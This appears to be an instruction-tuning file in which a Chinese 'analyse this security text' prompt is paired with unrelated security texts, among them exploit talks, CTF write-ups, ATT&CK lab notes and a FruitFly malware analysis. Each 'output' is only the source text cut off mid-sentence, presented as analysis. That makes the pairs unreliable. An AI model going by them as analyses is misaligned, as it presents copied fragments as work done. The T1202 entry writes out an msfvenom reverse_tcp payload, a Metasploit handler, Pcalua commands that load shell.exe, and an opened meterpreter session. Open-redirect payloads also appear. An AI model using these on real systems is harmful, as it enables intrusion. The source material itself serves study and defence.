Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

dalfox源码学习 在信息流上看到有人star这个项目dalfox是一个基于golang的xss扫描器介绍说基于golang/DOM parser 好像以前就看过这个项目但是忘了大概今天看到有人star了这个项目于是好奇的又看了看看到 它的简介基于DOM parser以为很厉害看了源码才发现当初忘了这个项目就是因为它很一般 还是用的批量payload打从返回页面找payload那一套虽然找的方法改进了一下每个payload都包 含一个class直接用css语法找 .dalfox 的标签判断但检测一个参数还是要发很多payload不符合 现在的xss扫描逻辑了 但我还是写一下它的源码学习说说它的好与不好的地方防止我以后再忘记 介绍 Github地址: https://github.com/hahwul/dalfox 看它列举的一些feature 其中一些比较好的点是 鉴定反射点的位置静态分析csp检测其他漏洞pipeline支持 鉴定反射点位置 相关函数在 pkg/optimization/abstraction.go 它有一个分类把反射点的位置归为了这么几类 分别是反射点在html上在js上在标签的属性上和在标签的script上 在这些上面又有一个分类 会判断反射点在单引号双引号还是`符号里 dalfox判断的方式bug很多就是用纯文本查找字符串的开始和结束位置排序位置信息根据每个位 置信息生成一个 开始 和 结束 的标记看payload最终在哪个标记里面 这地方应该直接用dom解析来做简单省力 modeMap[1] = "inHTML" modeMap[2] = "inJS" modeMap[3] = "inATTR" modeMap[4] = "inTagScript" positionMap[1] = "none" positionMap[2] = "double" // " positionMap[3] = "single" // ' positionMap[4] = "backtick" // ` positionMap[5] = "comment" positionMap[6] = "pre" positionMap[7] = "textarea" CSP绕过 相关函数 pkg/scanning/csp.go 这块比较新颖网上有一些收集的csp绕过列表 如果网站的csp策略域名是这些域名的话就可以根据这些payload绕过 判断函数 https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/XSS%20 Injection/Intruders/jsonp_endpoint.txt if resp.Header["Content-Security-Policy"] != nil { policy["Content-Security-Policy"] = resp.Header["Content-Security-Policy"] [0] result := checkCSP(policy["Content-Security-Policy"]) if result != "" { policy["BypassCSP"] = result } } 这块扫描器可以学习下它是直接硬编码写死进去了可以弄个脚本批量生成一下 检测其他漏洞 官网写着还能检测 sqli  ssti  open-redirects  crlf 主要就是靠发payload ssti重定向crlf可以发payload玩玩回显的结果就能验证了sqli就算了下面是payload //basic open redirect payloads func getOpenRedirectPayload() []string { payload := []string{ "//google.com", "//google.com/", "//google.com/%2f..", "///google.com/%2f..", "////google.com/%2f..", "https://google.com/%2f..", "/https://google.com/%2f..", "//www.google.com/%2f%2e%2e", "///www.google.com/%2f%2e%2e", "////www.google.com/%2f%2e%2e", "https://www.google.com/%2f%2e%2e", "/https://www.google.com/%2f%2e%2e", "//google.com/", "///google.com/", "


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 Adam Donenfeld STUMPING THE MOBILE CHIPSET New 0days from down under AGENDA  Android chipsets overview in ecosystem  Qualcomm chipset subsystems overview  New kernel vulnerabilities  Exploitation of a new kernel vulnerability  Conclusions ~ $ man Adam ADAM DONENFELD  Years of experience in research (both PC and mobile).  Vulnerability assessment  Vulnerability exploitation  Senior security researcher at Check Point  In meiner Freizeit, lerne ich Deutsch gern 4 How Android gets to your device OEM Chipset code Android Project Linux Kernel Carrier 5 Qualcomms chipset subsystems [Protected] Non-confidential content Qualcomm IPC Router GPU Thermal QSEECOM Performance Audio 6 The Rooting Zoo 7 ASHmenian Devil (ashmem vulnerability) CVE-2016-5340 Qualcomm expands ashmem for the GPU Map ashmem to GPU Passing ashmem fd to map 8 ASHmenian devil (ashmem vulnerability) 9 ASHmenian devil (ashmem vulnerability) Qualcomm expands ashmem for the GPU Map ashmem to GPU Passing ashmem fd to map Is our fd an ashmem file descriptor? 10 ASHmenian devil (ashmem vulnerability) Qualcomm expands ashmem for the GPU Map ashmem to GPU Passing ashmem fd to map Is the fd an ashmem fd? 11 ASHmenian devil (ashmem vulnerability) Qualcomm expands ashmem for the GPU Map ashmem to GPU Passing ashmem fd to map 12 ASHmenian devil  PoC Filename on root path == ashmem / is read-only /sdcard is a symlink Obb (Opaque Binary Blob) 13 ASHmenian devil  PoC Create an OBB With ashmem in its root directory Mount the OBB Map ashmem memory to the GPU Pass a fd to your fake ashmem file 14 Qualaroot (IPC Router vulnerability) CVE-2016-2059 Qualcomms IPC router Special socket family AF_MSM_IPC (27) Unique features Whitelist for services that are permitted to communicate Everyone gets an address for communication Creation\destruction can be monitored by anyone Requires no permission 15 Qualaroot AF_MSM_IPC socket types CLIENT_PORT SERVER_PORT IRSC_PORT CONTROL_PORT Conversion via IPC_ROUTER_IOCTL_BIND_CONTROL_PORT Each


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Mixminion: Design of a Type III Anonymous Remailer Protocol George Danezis1, Roger Dingledine2, David Hopwood3, and Nick Mathewson2 1 Cambridge University <george.danezis@cl.cam.ac.uk> 2 The Free Haven Project <{arma,nickm}@freehaven.net> 3 Independent consultant <david.hopwood@zetnet.co.uk> Abstract. We present Mixminion, a message-based anonymous remailer protocol that supports secure single-use reply blocks. MIX nodes cannot distinguish Mixminion forward messages from reply messages, so forward and reply messages share the same anonymity set. We add directory servers that allow users to learn public keys and performance statistics of participating remailers, and we describe nymservers that allow users to maintain long-term pseudonyms using single-use reply blocks as a prim- itive. Our design integrates link encryption between remailers to provide forward anonymity. Mixminion brings together the best solutions from previous work to create a conservative design that protects against most known attacks. Keywords: anonymity, MIX-net, peer-to-peer, remailer, nymserver, reply block 1 Introduction Chaum ﬁrst introduced anonymous remailer designs over 20 years ago [9]. The research community has since introduced many new designs and proofs [1, 5, 19, 2123, 34, 35], and discovered a variety of new attacks [4, 6, 7, 12, 29, 38], but the state of deployed remailers has changed remarkably little since Cottrell published his Mixmaster software [10, 32] in 1994. Part of the diﬃculty in expanding the deployed remailer base is due to the liability involved in running a remailer node on the Internet, and part is due to the complexity of the current infrastructure  it is fairly hard to add new experimental features to the current software. The Mixminion Project aims to deploy a cleaner remailer design in the same spirit as Mixmaster, with the goals of expanding deployment, documenting our design decisions and how well they stand up to all known attacks, and providing a research ba


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

bzip2recover === 恢复被破坏的.bz2压缩包中的文件 ## 补充说明 **bzip2recover命令** 可用于恢复被破坏的.bz2压缩包中的文件 bzip2是以区块的方式来压缩文件每个区块视为独立的单位因此当某一区块损坏时便可利用bzip2recover试着将文件中的区块隔开来以便解压缩正常的区块通常只适用在压缩文件很大的情况 ### 语法 ```shell bzip2recover(参数) ``` ### 参数 文件指定要恢复数据的.bz2压缩包


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Medical device security -- Anirudh Duggal Disclaimer: The views in the presentation are entirely my own and do not reflect the views of my employer. Before we begin  Thank you HITCON  Specially thank the organizing team  Jal , Pineapple, Turkey, Shanny, Shang and all the people whom Ive troubled till now About me  Senior Software Engineer at Philips health tech  anirudhduggal@gmail.com  Sustainability enthusiast  Interested in medical devices, IOT devices and hardened OS  Part of Null community Nullcon CFP is out! Agenda  What is a medical device?  Range of medical devices  Medical record value and breaches  Challenges  Besides challenges  Hl7 messaging What is a medical device?  A medical device is an instrument, apparatus, implant, in vitro reagent, or similar or related article that is used to diagnose, prevent, or treat disease or other conditions, and does not achieve its purposes through chemical action within or on the body (which would make it a drug) -- wiki Range of devices Cost: 5 2$ (50% off) Fits in pocket Cost: can reach up to 3 million $ Size: about the size of a truck (dont ask the weight ;) ) And the memory A hospital data center A simple DIY device And.  Patient monitors  Insulin monitors  Pacemakers  Heart rate devices  smart bands  Home monitoring solutions Rapid Innovation  Everyone wants mobility (patient, doctors, nurses, clinicians)  Diagnostics  Big data analysis  Information gathering Why hospitals and medical devices?  Easy targets  Many entry points  Good payoff  Medical records The impact of an attack  Privacy  Financial  a medical record fetches 32x a credit card record  Physical? Lets take a case study Analyzing a hospital scenario A typical hospital scenario EMR (electronic medical record) Patient monitors LAN / WIFI/ Bluetooth/ Doctor's PC / Secretary PC Doctor's Mobile/ Nurse mobile Other hospitals Other systems A typical patient monitor Lan / WiFI TCP / IP HL7 Serial ports EMR Other peripheral devices USB Diving into medical device


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DIY Hardware implant over I2C Part of the NSA Playset This slide deck will change for the talk to include more information and details! Josh Datko and Teddy Reed DEF CON 2 2 August 10, 2014 Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 1 / 49 Outline 1 NSA Playset DEF CON Series 2 I2C Attack Points 3 I2C Module 4 Controller Device 5 GSM Module 6 WAGONBED Improvements 7 GSM Exﬁl Alternaive: Audio 8 Wrapup Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 2 / 49 NSA Playset Series What is the NSA Playset? We hope the NSA Playset will make cutting edge security tools more accessible, easier to understand, and harder to forget. NSA Playset Talks RF Retroreﬂector Penn & Teller Friday 12:00 DIY Hardware Implant Penn & Teller Sunday 11:00 GSM Sniﬃng Penn & Teller Sunday 12:00 PCIe Penn & Teller Sunday 14:00 Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 3 / 49 Inspired by the NSA The NSA apparently has a hardware hacking catalog.1 Flip. . . Flip. . . Flip. . . 1like SkyMall for spies and without the Bigfoot. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 4 / 49 Inspired by the NSA The NSA apparently has a hardware hacking catalog.1 Flip. . . Flip. . . Flip. . . Oh look honey, theres an I2C controller board we can get. It attaches to a computer and its modular, so you can add a GSM cell phone for exﬁl. 1like SkyMall for spies and without the Bigfoot. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 4 / 49 Inspired by the NSA The NSA apparently has a hardware hacking catalog.1 Flip. . . Flip. . . Flip. . . Oh look honey, theres an I2C controller board we can get. It attaches to a computer and its modular, so you can add a GSM cell phone for exﬁl. Thats nice dear. 1like SkyMall for spies and without the Bigfoot. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C A


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1202-win-间接命令执行-基于Pcalua执行payload(白名单) ## 来自ATT&CK的描述 可以使用各种Windows实用程序来执行命令而不需要调用cmd例如Forfiles程序兼容性助手pcalua.exeWSLWindowsSubsystem for Linux组件以及其他实用程序可以从命令行界面运行窗口或通过脚本来调用程序和命令的执行 攻击者可能会滥用这些功能来规避防御尤其是在破坏检测和/或缓解控制如组策略的同时执行任意动作这些控制限制/阻止了cmd或恶意负载相关文件扩展名的使用 ## 测试案例 Windows进程兼容性助理(Program Compatibility Assistant)的一个组件 说明Pcalua.exe所在路径已被系统添加PATH环境变量中因此Pcalua命令可识别 Windows 7 默认位置 C:\Windows\System32\pcalua.exe 补充说明在高版本操作系统中可以通过配置策略对进程命令行参数进行记录日志策略开启方法`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`同样也可以在不同版本操作系统中部署sysmon通过sysmon日志进行监控 ## 检测日志 windows 安全日志需要自行配置 ## 测试复现 ### 环境准备 攻击机Kali2019 靶机win7 ### 攻击分析 #### 生成payload ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=6666 -f exe > shell.exe ``` #### MSF配置 ```bash msf5 exploit(multi/handler) > back msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 5555 lport => 5555 msf5 exploit(multi/handler) > exploit ``` #### 靶机执行payload ```cmd Pcalua -m -a \\192.168.1.119\share\shell.exe #可远程加载 Pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe #可本地加载 ``` #### 反弹shell ```bash Msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:6666 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 4 opened (192.168.126.146:6666 -> 192.168.126.149:49163) at 2020-04-19 00:12:39 +0800 meterpreter > getuid Server username: 12306Br0-PC\12306Br0 meterpreter > getpid Current pid: 2804 ``` ## 测试留痕 ```log #sysmon日志 EventID: 1 Process Create: RuleName: UtcTime: 2020-04-18 16:12:37.744 ProcessGuid: {bb1f7c32-26f5-5e9b-0000-001075120e00} ProcessId: 2148 Image: C:\Windows\System32\pcalua.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Program Compatibility Assistant Product: Microsoft Windows Operating System Company: Microsoft Corpora


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BUGS IN MULTIPLAYER GAME ENGINES FINDING + EXPLOITING BACKGROUND > Over a few months I found 10+ remotely exploitable bugs in 2 game engines > Im going to talk about 4 of these bugs (2 per engine) GAME ENGINES > The term Game Engine refers to the base software on which most video games are created > The popularity of many game engines means that lots of game share the same bugs > Updating your game engine can be a huge pain > Games dont often get security patches after release GAME ENGINES > General understanding is that two engines are the most common: > Unreal Engine 4 (Or UE4) > Unity > If youre a solo developer or small team, theres a good chance youre using Unity > If youre a larger team and havent built your own engine, youre probably using UE4 UNREAL ENGINE 4 > Created by Epic Games > Named for its roots in the Unreal series > Open source (With licensing restrictions) > Notable games: > Fortnite > PlayerUnknowns Battlegrounds (PUBG) UNITY > Created by Unity Technologies > Core components are closed source > Core networking library is called UNET > Games using UNET: > Countless indie releases on Steam UNET > UNET is technically deprecated, but Unity Technologies has not released an alternative > UNET still receives patches and even occasional new features > Encryption API was added post-deprecation > A TON of new and existing games use UNET MULTIPLAYER PROTOCOLS > The evolution of multiplayer architectures has largely focused on two things > Increasing performance > Moving trust away from the client > These are often conﬂicting goals MULTIPLAYER PROTOCOLS > To understand multiplayer protocols we should understand the attacks they aim to prevent > A good example of the evolution of multiplayer protocols is the evolution of Movement Hacking MOVEMENT HACKING > One of the oldest and most common types of game hack is manipulating the players location > In the good old days, player location was trusted to the client > Manipulate location client-side and we can telep


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Security Measurement and Assuring Reliability through metrics Technology ( SMART) Applying Reliability Metrics to Security Vulnerabilities Wayne Zage, Dolores Zage, Blake Self Presentation Outline 1. Background/overview of S2ERC and design metrics 2. Vulnerability Analyses Security and Software Engineering Research Center (S2ERC)  An NSF Industry/University Cooperative Research Center established in 1986 and extended in 2010  Participation by ten+ universities representing >50 researchers  Collaborative, customized projects and technology transfer to affiliates are the hallmarks of the S2ERC S2ERC Participating Universities Ball State DePaul Illinois at Chicago Iowa State IUPUI IPFW Penn State Purdue West Florida Limerick S2ERC Industrial Affiliates Angies List Bingham McHale Blue Cross Blue Shield Boeing John Deere Intelligent Information Technologies Iowa Dept. of Transportation Lockheed Martin MacAulay Brown NASA Northrop Grumman Ontario Systems Raytheon NSWC  Crane Rockwell Collins TIAA Union Pacific US Army Research Lab US Dept. of Homeland Security 6 1986 1986 1989 1989 1993 1993 1999 1999 2003 2003 2005 2005 Reliability Study Reliability Study Technology Technology Development Development Industry Industry Validation Studies Validation Studies Ada Ada CC C++ C++ Java UML Java UML Industry Industry SE Symposium SE Symposium 2004 2004 Industry Industry Mission Assurance Mission Assurance Forum Forum Published Papers Published Papers High Reliability High Reliability Process Development Process Development Industry Validation Industry Validation  Northrop Grumman, Motorola, Northrop Grumman, Motorola, Bellcore Bellcore, Raytheon, Army , Raytheon, Army Industry Industry Industry Industry Development Development Dissemination Dissemination SERC SERC Research Research SDL SDL Industry Industry Workshops Workshops Process Process Deployment Deployment SERC SERC Technical Report Technical Report NASA NASA Symposium Symposium Industry funded Industry funded SERC Resea


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Writing Fiction to Tell the Truth By Richard Thieme Things are often not what they seem. Thats a fact. But that fact and others are filtered into our brains through images and words that often distort the truthsometimes due to sloppy thinking but often as a result of policies adopted by the national security state, a complex state of affairs that carried over from World War 2 and has never stopped. The consequences of this shift are profound. A regimen of propaganda and censorship established during World War 2 made sense. The government did not want Americans to know that debris and bodies, for example, washed up along the Atlantic coast all the time due to U-boat activity. That secret and others were well kept with the cooperation of the media that served as portals into the mind of society. The Cold War, an enterprise that used propaganda and censorship as weapons, ensured that these policies would continue. Playing the great game of perception management on a global scale, information operations inevitably framed the thinking of Americans as well as enemies. Enemies and citizens, hearing the same narratives, became indistinguishable. Eisenhower, assisted by the Dulles brothers at the State Department and the CIA, was afforded plausible deniability of the use of covert operations (e.g. the overthrow of Irans Mossadegh and Argentinas Arbenz) and established a pattern for subsequent secret operations. I asked a historian at NSA what historical events we could discuss with a reasonable expectation that our words meant the same details. Anything up to 1945, he said with a laugh  but he wasnt kidding. The end of the Cold War did not end those policies.. New technologies enhanced the science of perception management. Cover stories weave truths, half-truths, and lies in a way that makes it impossible for average citizens to know whats real. The attack on 9/11 was a catalyst to do even more, and today, social media serve as accelerators for spreading the arson fires of d


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Binary Gauntlet 1 Category: Binary Exploitation, 30 points ## Description > Okay, time for a challenge. A binary file was attached. ## Solution This is the follow-up for [Binary Gauntlet 0](Binary_Gauntlet_0.md). Let's run `checksec` on the file: ```console (user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_1] $ checksec --file=gauntlet [*] '/media/sf_CTFs/pico/Binary_Gauntlet_1/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` We can see that there are virtually no protections for this program. Using Ghidra, we can check the decompiled output of the program: ```c undefined8 main(void) { char local_78 [104]; char *local_10; local_10 = (char *)malloc(1000); printf("%p\n",local_78); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; strcpy(local_78,local_10); return 0; } ``` We can see the the SIGSEGV handler from the previous challenge was removed. We can also see that the local buffer's address is leaked to us. Since NX is disabled according to `checksec` and the stack is executable, if we're able to copy some shellcode to the stack we'll be able to execute it. Getting the shellcode to `local_78` which resides on the stack is easy - we just need to provide it to the second `fgets` which will conveniently copy it to `local_78` using `strcpy`. We just need to make sure that the shellcode doesn't have any NULL pointers since `strcpy` will stop copying the buffer once it hits a NULL pointer. We already know the address of `local_78` from the leak, so we just need to make sure that the program eventually jumps to it. We can do that by overflowing the stack and overriding the return pointer of `main` so that instead of returning to the function that called it, it will jump to `local_78` instead. The following script automates the process: ```python # First, generate a pwntools template


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2020年RSAC关键热点 DevSecOps左移开发安全 思路分享 2 安全圈的奥斯卡已开幕 RSAC已在美国当地时间2月24日28日开启 RSA大会是信息安全界最有影响力的业界盛会之一RSA大会一年一度分别在美国欧洲和日本 举办其议程设计由信息安全从业者及其它相关专业人士评判和制定RSA大会一直吸引着世界 上最优秀的信息安全人士创造机会让参会者跟同辈和杰出人物跟新兴企业和知名企业直接交 流了解信息安全的最重要课题 3 聊些八卦  外国友人想请你喝一杯的时候要三思 如果你有朋友或同事是第一次参与  不在非授权情况下接受外媒采访 4 一起来认识RSA RSA 大会是信息安全界最有影响力的业界盛会之一 一那它为何如此受到安全行业的重视 二创新沙盒奖项是什么 三今年的RSA又有哪些热点 5 RSA的前世今生 RSAC承接信息安全产品的过去与未来 5 2013 4 2008 3 2002 2 1995 1 1991 6 2016 起源 出发 911 呼救 斯诺登 苹果 创新沙盒成为了全球安全圈关注的话题 创新沙盒奖项信息安全的风向标 资产发现 资产分析 资产梳理 资产管理 威胁处置 协同扩展 7 RSA十大热点分享 RSA 大会宣布了第15届创新沙盒竞赛的十位决赛入围者 2020年2月24日入围RSA大会创新沙盒十强的企业将 在大会现场各自进行3分钟左右的展示并回答委员会的问题 创新沙盒的初衷是为网络安全领域的初创企业提供平台让 他们展示自己的创新技术或愿景以及他们可能为信息安全 行业带来的变革与发展Securiti.ai 已获得今年冠军 WEB安全 应用安全 代码安全 安全意识 漏洞管理 隐私安全/数据治理 邮件安全 SAAS安全 SAAS安全 从热点看未来 从入选的企业来看未来的网络安全行业 将会聚焦在隐私SaaSDevSecOps 等热点方向 https://forallsecure.com/ https://blubracket.com/ 在市场和技术的推动下近年的创新沙盒中多次出 现DevSecOps相关产品比如今年的左图两家公司 2019年的DisruptOps云基础设施检测与修复 ShiftLeft软件代码防护与审计等 融合+自动化 8 9 常见的软件生命周期 空气墙 处理滞后 沟通成本高 各为孤岛 难协调 信息不对称 意识不足 表面上看铁桶一个密不可破实际 却.. 10 DevOps的出现 Dev=Devilopment(开发) Ops=Operation(运维) 这个词是Patrick Debois于2009年创造的是公认的 DevOps之父 以自动化为基础以合作为黏合剂以业务为目标的软件全 生命周期的最佳实践 11 何为DevOps 覆盖计划需求设计到开发测试部署运维运营的封闭式全生命周期  最佳实践  成熟度模型  技术流程 12 DevOps目的 ISO27000  快速交付价值灵活响应变化  全局打通敏捷开发&高效的运维模式  系统应用指导原则最佳实践  端到端工具链相互联通&整合 提高企业的营收利润及市场占有率 软件全生命周期的闭关敏捷开发持续交付技术运营 技术 手段 效果 原则 13 DevOps软件分布图 14 DevOps下我们的安全是如何做的 牵一发而动全身 高效 敏捷 持续 X X X 开发测试 安全人员 运维人员 上线后发现 安全问题 15 我们损失的不止是时间 研发阶段 研发阶段发现的漏洞可以由开发直接FIX成本低 效率高 测试阶段 测试阶段发现的漏洞由测试提交给研发需要一 定的沟通成本相对来说FIX的效率较高 发布阶段 发布到线上后检测出的漏洞需要安全人员给出方 案与研发人员沟通由测试人员验证也需要承 受一定可能性的线上风险相对成本较高 运行阶段 运行一段时间后被白帽子或监管报告发现的漏洞 需要付出额外的金钱沟通成本高需要再FIX的 时间需要运维发布的介入修复成本成倍数的 上升给企业带来相当大的风险和成本压力 研发 研发 测试 研发 测试 运维 安全 产品 研发 测试 运维 安全 产品 业务 公关 老板 x1 x2 x10 x100 100倍 16 何为DevSecOps? 来自 Gartner 研究公司的分析师 David Cearley 认为当今的 CIO或者 CSO 应该修改 DevOps 的定义使之包括安全理念他称之为 DevSecOps 它是糅合了开发安全及运营理念以创建解决方案的全新方法 17 DevSecOps与DevOps的区别? 安全重心的思路转变 SEC Devops时代安全团队的尴尬 Devops 快速的迭代和发布过程中安全 因为缓慢节奏被弃在一旁整个流程中没 有安全质量的考虑和控制安全团队也对 安全质量无计可施 建设人人都对安全负责的DEVSECOPS 企业建设人人


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FROM PRINTER TO PWND Leveraging Multifunction Printers During Penetration Testing INTRODUCTION  From Dayton Ohio region  Last 18 years in IT  10 year in security  3 of those as a security penetration tester  Member of foofus.net team  3rd time presenting at Defcon w00t! AGENDA  Multi function printer features  Multi function printer security  Attacking multi function printer devices  Leveraging these attacks during pentesting  Development of an automated harvesting tool  Conclusion & Question MULTI FUNCTION PRINTER FEATURES MULTI FUNCTION PRINTER FEATURES  Scan to File  Window file server access  FTP server access  Scan to Email  Email server SMTP access  Email Notification  Email server SMTP access MULTI FUNCTION PRINTER FEATURES  LDAP authentication services  User address books  System logging  Remote functionality  Backup/cloning MULTI FUNCTION PRINTER SECURITY MULTI FUNCTION PRINTER SECURITY Four steps to security failure  Roll it in and power it up  Integrate with business systems  Passwords  No password set  Factory default setting  No patch management ATTACKING MULTI FUNCTION PRINTER DEVICES ATTACKING MULTI FUNCTION PRINTERS  Why  Gather information  Escalation rights into other core systems  When  If exposed to internet  Once you gain a foot hold into internal network ATTACKING MULTI FUNCTION PRINTERS  How  Leveraging default password  Access bypass attacks  Information leakage attacks  Forceful browsing attacks  Backup/cloning functions  Passback attack MFP SECURITY BYPASS ATTACK  The ability to bypass authentication on a device by passing various forms of data in the URL  Toshiba  HP /TopAccess/Administrator/Setup/ScanToFile/List.htm Redirects to /TopAccess/Administrator/Login/Login.htm TOSHIBA BYPASS ATTACK /TopAccess//Administrator/Setup/ScanToFile/List.htm TOSHIBA BYPASS ATTACK HP OFFICEJET BYPASS ATTACK DEMO MFP INFORMATION LEAKAGE ATTACKS  MFP devices exposing data unintentionally. Data of value can typically be extracted from web page source code.  T


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Rot (Crypto) Another ciphertext-only challenge. This time, ciphertext is even shorter: ``` 5?5?6B0a_`gL:d=6a!|vBc<<A=q>YA8|#A=Urr6t{"N ``` We immediately can infer *something* about the encryption, because we know that `scsctf_2017{` encrypts to ```5?5?6B0a_`gL```. The same input characters encode to the same output characters, so this is a substitution cipher. The challenge title and description suggested `rot` operation. Alas, there are no obvious patterns in: ```python mapping = { '5': 's', '?': 'c', '6': 't', 'B': 'f', '0': '_', 'a': '2', '_': '0', '`': '1', 'g': '8', 'L': '{', 'N': '}', } ``` But we compute differences between ASCII values of various characters: ```python for k, v in mapping.iteritems(): print v, ord(v) - ord(k) ``` The result is quite regular: ``` f 36 { 47 } 47 0 -47 2 -47 1 -47 8 -47 _ 47 s 62 t 62 c 36 ``` Now, as I've said, we hate guessing. So we decided to approach this problem methodically, instead of getting into the task author's head. One of my teammates noticed that there are only a few possible differences for ASCII values. So he tried subtracting `[36, 47, -47, 62]` from every ciphertext character, and written down all printable results at every position: ``` scsctf_2018{i5at2EMGf4kkeaBb*egMGea&CCtELF} x l P zzpl m}pv Rply Q a ``` According to that, for example, there are only two candidates for the character after `{`, etc. My other teammate deduced that since this is a substitution cipher and there is clearly a lot of structure in the transformation, it should be possible to guess the blanks in the sbox. His proposition was: ```python rot = '5?5?6B0a_`gL:d=6a!|vBc<<A=q>YA8|#A=Urr6t{"N' out = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_`abcdefghijklmnopqrstuvwxyz{|}~''' inn = '''OPQRSTUVWXYZ[\]_`pqrstuvwxyzabcdefghijklmno{|}~!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMN ''' from string import maketrans m = maketrans(out, inn) print rot.translate(m) ``` This prints `scsctf_2018{x5at2PMGf4zzeaBb*evMRea&CCtE


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Your Goal: Be a Harder Target Many of the same risks apply U.S. v. Schaffer suspect should know If I were your lawyer, Id advise you not to answer that tweet. directly to any individuals forums known to support or promote illegal activity consider disabling comments Authorship Analysis in Cybercrime Investigation


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1564-003-windwos-隐藏窗口 ## 来自ATT&CK的描述 攻击者可以使用隐藏的窗口将恶意活动隐藏在用户的视线范围之外在某些情况下可以隐藏通常在应用程序执行操作时显示的窗口系统管理员可以利用它来避免在执行管理任务时破坏当前用户的工作环境 在Windows上Windows中的脚本语言具有多种功能例如PowerShellJscript和Visual Basic可以隐藏窗口一个典型示例就是powershell.exe -WindowStyle Hidden 同样在macOS上属性列表plist文件中列出了应用程序运行方式的配置这些文件中的标记之一可以是apple.awt.UIElement它允许Java应用程序阻止应用程序的图标出现在Dock中常见的用法是当应用程序在系统托盘中运行但又不想显示在Dock中时 攻击者可能滥用这些功能以向用户隐藏其他可见的窗口从而不会提醒用户系统上的攻击者活动 ## 测试案例 暂无可参考相关文章传送门<https://zhuanlan.zhihu.com/p/25226349> ## 检测日志 windows sysmon ## 测试复现 可参考测试案例中相关文章 ## 测试留痕 windows sysmon ## 检测规则/思路 监视进程和命令行参数是否有指示隐藏窗口的操作在Windows中启用并配置事件日志记录和PowerShell日志记录以检查隐藏的窗口样式在MacOS中plist文件是具有特定格式的ASCII文本文件因此它们相对容易解析文件监视可以检查plist文件中的apple.awt.UIElement或任何其他可疑的plist标记并对其进行标记 ### splunk规则 ```yml index=windows source=WinEventLog:Microsoft-Windows-Sysmon/Operational (EventCode=1 Image=*\\powershell.exe CommandLine=*-WindowStyle Hidden*) ``` ### 建议 如上检测规则存在一定的局限性可根据自己的实际情况不断的更新要监视的命令行参数当然powershell日志也可以做到对命令行参数的记录也可通过powershell日志进行检测 ## 参考推荐 MITRE-ATT&CK-T1564-003 <https://attack.mitre.org/techniques/T1564/003/> PowerShell 安全专题之攻击检测篇 <https://zhuanlan.zhihu.com/p/25226349>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@patrickwardle OFFENSIVE MALWARE ANALYSIS dissecting osx/fruitfly via a custom c&c server WHOIS leverages the best combination of humans and technology to discover security vulnerabilities in our customers web apps, mobile apps, IoT devices and infrastructure endpoints security for the 21st century @patrickwardle OUTLINE fruitfly monitoring c&c server tasking trapping flies analyze OSX/FruitFly.B ...'smartly' THE GOAL command description 0 "take screen shot" 1 ? 2 ? "execute command #0" malware's commands build: custom C&C server spy.com steal (borrow?) other ppls access 1 task: the malware observe: the response 2 3 cmd #0 malware hijack OSX/FRUITFLY an intriguing backdoor initially discovered by malwarebytes OSX/FRUITFLY (QUIMITCHIN) "New Mac backdoor using antiquated code" -malwarebytes/thomas reed components (script, binary, etc) persistence (launch agent) capabilities } Virus Total submission(s) Jan 11th (0 detections) files procs cam mouse keys infection vector? trojan? email? method of persistence OSX/FRUITFLY $ cat ~/Library/LaunchAgents/ com.client.client.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC  > <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.client.client</string> <key>ProgramArguments</key> <array> <string>/Users/user/.client</string> </array> <key>RunAtLoad</key> <true/> <key>NSUIElement</key> <string>1</string> </dict> </plist> [RSA 2015, wardle] "Malware Persistence on OS X" launch agent persistence } launch agent property list: ~/Library/LaunchAgents/ com.client.client.plist payload: ~/.client BlockBlock alert variant b OSX/FRUITFLY.B $ file fpsaud perl script text executable, ASCII text $ cat fpsaud 